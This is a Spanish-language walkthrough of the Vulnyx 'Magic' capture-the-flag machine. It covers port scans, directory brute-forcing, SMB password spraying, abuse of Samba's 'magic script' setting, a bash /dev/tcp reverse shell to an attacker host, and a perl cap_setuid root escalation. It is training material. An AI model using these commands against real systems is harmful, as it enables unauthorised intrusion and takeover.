Magic es una de las maquinas existentes actualmente en la plataforma de hacking Vulnyx y es de dificultad Easy.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la ip que tiene la maquina a vulnerar, que en mi caso será la 192.168.0.251
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
┌──(user㉿sec)-[~] └─$ nmap -sS -p- --open --min-rate 5000 -vvv -n 192.168.0.251 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-04 13:50 CET Initiating ARP Ping Scan at 13:50 Scanning 192.168.0.251 [1 port] Completed ARP Ping Scan at 13:50, 0.09s elapsed (1 total hosts) Initiating SYN Stealth Scan at 13:50 Scanning 192.168.0.251 [65535 ports] Discovered open port 80/tcp on 192.168.0.251 Discovered open port 22/tcp on 192.168.0.251 Discovered open port 139/tcp on 192.168.0.251 Discovered open port 445/tcp on 192.168.0.251 Completed SYN Stealth Scan at 13:50, 0.42s elapsed (65535 total ports) Nmap scan report for 192.168.0.251 Host is up, received arp-response (0.00066s latency). Scanned at 2025-01-04 13:50:27 CET for 0s Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 139/tcp open netbios-ssn syn-ack ttl 64 445/tcp open microsoft-ds syn-ack ttl 64 MAC Address: 08:00:27:59:07:3B (Oracle VirtualBox virtual NIC) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.70 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
┌──(user㉿sec)-[~] └─$ nmap -sCV -p22,80,139,445 192.168.0.251 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-04 13:52 CET Nmap scan report for 192.168.0.251 Host is up (0.00049s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0) | ssh-hostkey: | 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA) |_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519) 80/tcp open http nginx 1.22.1 |_http-title: Welcome to nginx! |_http-server-header: nginx/1.22.1 139/tcp open netbios-ssn Samba smbd 4.6.2 445/tcp open netbios-ssn Samba smbd 4.6.2 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: | smb2-time: | date: 2025-01-04T12:52:36 |_ start_date: N/A |_clock-skew: -1s | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required |_nbstat: NetBIOS name: MAGIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.47 seconds |
Usamos feroxbuster para ver que encontramos en el puerto 80 y nos encontramos las carpetas backup como subdirectorio, conf
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
┌──(user㉿sec)-[~] └─$ feroxbuster --url http://192.168.0.251 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://192.168.0.251 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [html, txt, php] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 7l 11w 153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 23l 75w 615c http://192.168.0.251/ 301 GET 7l 11w 169c http://192.168.0.251/backup => http://192.168.0.251/backup/ 301 GET 7l 11w 169c http://192.168.0.251/backup/conf => http://192.168.0.251/backup/conf/ [>-------------------] - 3s 55866/2646552 2m found:3 errors:0 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_192_168_0_251-1735995803.state ... [>-------------------] - 3s 56003/2646552 2m found:3 errors:0 [>-------------------] - 3s 25672/882184 10175/s http://192.168.0.251/ [>-------------------] - 2s 17884/882184 8122/s http://192.168.0.251/backup/ [>-------------------] - 2s 12120/882184 7332/s http://192.168.0.251/backup/conf/ |
Buscamos archivos archivos en la carpeta backup pero no encontramos nada, asi que pasamos a buscar en el subdirectorio conf, con extensiones como yaml, conf, env, xml.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
┌──(user㉿sec)-[~] └─$ feroxbuster --url http://192.168.0.251 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x conf,yaml,env,xml ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://192.168.0.251 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [conf, yaml, env, xml] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 7l 11w 153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 23l 75w 615c http://192.168.0.251/ 301 GET 7l 11w 169c http://192.168.0.251/backup => http://192.168.0.251/backup/ 301 GET 7l 11w 169c http://192.168.0.251/backup/conf => http://192.168.0.251/backup/conf/ 200 GET 245l 1464w 8799c http://192.168.0.251/backup/conf/smb.conf [#>------------------] - 12s 275373/3308190 2m found:4 errors:0 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_192_168_0_251-1735995994.state ... [#>------------------] - 12s 276090/3308190 2m found:4 errors:0 [#>------------------] - 12s 100515/1102730 8435/s http://192.168.0.251/ [#>------------------] - 12s 91225/1102730 7918/s http://192.168.0.251/backup/ [#>------------------] - 11s 83930/1102730 7750/s http://192.168.0.251/backup/conf/ |
Revisamos que contiene el fichero smb.conf sobre el servicio de samba
|
1 2 |
┌──(user㉿sec)-[~] └─$ curl -s http://192.168.0.251/backup/conf/smb.conf |grep -vE "^#|^;" | grep -v '^\s* |
Lo que vemos en el fichero son diferentes recursos compartidos pero el que tenemos que poner el ojo es en el de tmp donde nos da un usuario y una directoriva «magic script»
Si intentamos ver los recursos de samba disponibles, son los siguientes:
|
1 2 3 4 5 6 7 8 9 10 11 12 |
┌──(user㉿sec)-[~] └─$ smbclient -L "//192.168.0.251" -N Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers tmp Disk Temp Directory IPC$ IPC IPC Service (Samba 4.17.12-Debian) Reconnecting with SMB1 for workgroup listing. smbXcli_negprot_smb1_done: No compatible protocol selected by server. Protocol negotiation to server 192.168.0.251 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE Unable to connect with SMB1 -- no workgroup available |
Y si intentamos acceder al recurso temp, nos da access denied, asi que lo siguiente sera intentar saber la contraseña de xerosec para conectarnos usando netexec.
|
1 2 3 |
┌──(user㉿sec)-[~] └─$ smbclient "//192.168.0.251/tmp" -N tree connect failed: NT_STATUS_ACCESS_DENIED |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
┌──(user㉿sec)-[~] └─$ netexec smb 192.168.0.251 -u xerosec -p ~/rock SMB 192.168.0.251 445 MAGIC [*] Unix - Samba (name:MAGIC) (domain:MAGIC) (signing:False) (SMBv1:False) SMB 192.168.0.251 445 MAGIC [-] MAGIC\xerosec:123456 STATUS_LOGON_FAILURE SMB 192.168.0.251 445 MAGIC [-] MAGIC\xerosec:12345 STATUS_LOGON_FAILURE SMB 192.168.0.251 445 MAGIC [-] MAGIC\xerosec:123456789 STATUS_LOGON_FAILURE SMB 192.168.0.251 445 MAGIC [-] MAGIC\xerosec:password STATUS_LOGON_FAILURE SMB 192.168.0.251 445 MAGIC [-] MAGIC\xerosec:iloveyou STATUS_LOGON_FAILURE SMB 192.168.0.251 445 MAGIC [-] MAGIC\xerosec:princess STATUS_LOGON_FAILURE SMB 192.168.0.251 445 MAGIC [-] MAGIC\xerosec:1234567 STATUS_LOGON_FAILURE SMB 192.168.0.251 445 MAGIC [-] MAGIC\xerosec:Message5687 STATUS_LOGON_FAILURE SMB 192.168.0.251 445 MAGIC [-] MAGIC\xerosec:melvin STATUS_LOGON_FAILURE SMB 192.168.0.251 445 MAGIC [-] MAGIC\xerosec:celeste STATUS_LOGON_FAILURE SMB 192.168.0.251 445 MAGIC [-] MAGIC\xerosec:pussycat STATUS_LOGON_FAILURE SMB 192.168.0.251 445 MAGIC [-] MAGIC\xerosec:gorgeous STATUS_LOGON_FAILURE SMB 192.168.0.251 445 MAGIC [+] MAGIC\xerosec:david1 |
Ahora que tenemos la contraseña, nos conectamos al recurso tmp y revisamos los ficheros.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
┌──(user㉿sec)-[~] └─$ smbclient "//192.168.0.251/tmp" -U xerosec%david1 Try "help" to get a list of possible commands. smb: \> dir . D 0 Sat Jan 4 13:48:51 2025 .. D 0 Thu Jan 2 14:06:27 2025 .font-unix DH 0 Sat Jan 4 13:48:50 2025 .ICE-unix DH 0 Sat Jan 4 13:48:50 2025 .X11-unix DH 0 Sat Jan 4 13:48:50 2025 .XIM-unix DH 0 Sat Jan 4 13:48:50 2025 systemd-private-d96dc7d1f8614c168a700907058ce964-systemd-logind.service-t8gPzr D 0 Sat Jan 4 13:48:51 2025 19480400 blocks of size 1024. 16285136 blocks available smb: \> |
Si revisamos la directiva que hemos visto antes en el fichero smb.conf, magic script, podemos leer que si le subimos el fichero al que hace referencia «magic script», se ejecutará y nos dara un output en el mismo directorio con el nombre config.sh.out
If the
magicscriptoption is set to a filename and the client creates a file by that name in that share, Samba will run the file as soon as the user has opened and closed it.
magicscriptstring (filename) File to be executed by Samba, as the logged-on user, when closed None Share magicoutputstring (filename) File to log output from the magic file scriptname.out Share
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
┌──(user㉿sec)-[~] └─$ echo "id" > config.sh smb: \> put config.sh putting file config.sh as \config.sh (0.1 kb/s) (average 0.1 kb/s) smb: \> dir . D 0 Sat Jan 4 14:23:14 2025 .. D 0 Thu Jan 2 14:06:27 2025 .font-unix DH 0 Sat Jan 4 13:48:50 2025 .ICE-unix DH 0 Sat Jan 4 13:48:50 2025 .X11-unix DH 0 Sat Jan 4 13:48:50 2025 .XIM-unix DH 0 Sat Jan 4 13:48:50 2025 config.sh.out N 57 Sat Jan 4 14:23:14 2025 systemd-private-d96dc7d1f8614c168a700907058ce964-systemd-logind.service-t8gPzr D 0 Sat Jan 4 13:48:51 2025 smb: \> get config.sh.out getting file \config.sh.out of size 57 as config.sh.out (13.9 KiloBytes/sec) (average 13.9 KiloBytes/sec) ┌──(user㉿sec)-[~] └─$ cat config.sh.out uid=1000(xerosec) gid=1000(xerosec) grupos=1000(xerosec) |
Por lo tanto, comprobamos que lo subido a traves de config.sh, se ha ejecutado, dandonos el output y dado que esto ha funcionado, nos enviaremos una reverse shell.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
┌──(user㉿sec)-[~] └─$ echo "bash -c '/bin/bash -i >& /dev/tcp/192.168.0.35/1234 0>&1'" > config.sh smb: \> put config.sh ┌──(user㉿sec)-[~] └─$ nc -vnlp 1234 listening on [any] 1234 ... id connect to [192.168.0.35] from (UNKNOWN) [192.168.0.251] 39016 bash: no se puede establecer el grupo de proceso de terminal (506): Función ioctl no apropiada para el dispositivo bash: no hay control de trabajos en este shell xerosec@magic:/tmp$ |
Procedemos una vez hecho el tratamiento de la tty, ver si tenemos algun privilegio como root para usar algun comando, pero parece ser un rabbit hole
|
1 2 3 4 5 6 7 8 |
xerosec@magic:/home/xerosec$ sudo -l Matching Defaults entries for xerosec on magic: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User xerosec may run the following commands on magic: (root) NOPASSWD: /usr/bin/id |
Seguimos mirando y nos encontramos que perl tiene añadidas capabilities
|
1 2 3 4 |
xerosec@magic:/home/xerosec$ getcap -r / 2> /dev/null /usr/bin/perl5.36.0 cap_setuid=ep /usr/bin/ping cap_net_raw=ep /usr/bin/perl cap_setuid=ep |
Seguiremos los pasos de gtfobins y nos convertimos en root
|
1 2 3 |
xerosec@magic:/home/xerosec$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";' # id uid=0(root) gid=1000(xerosec) grupos=1000(xerosec) |
Y hasta aquí la maquina Magic de Vulnyx!
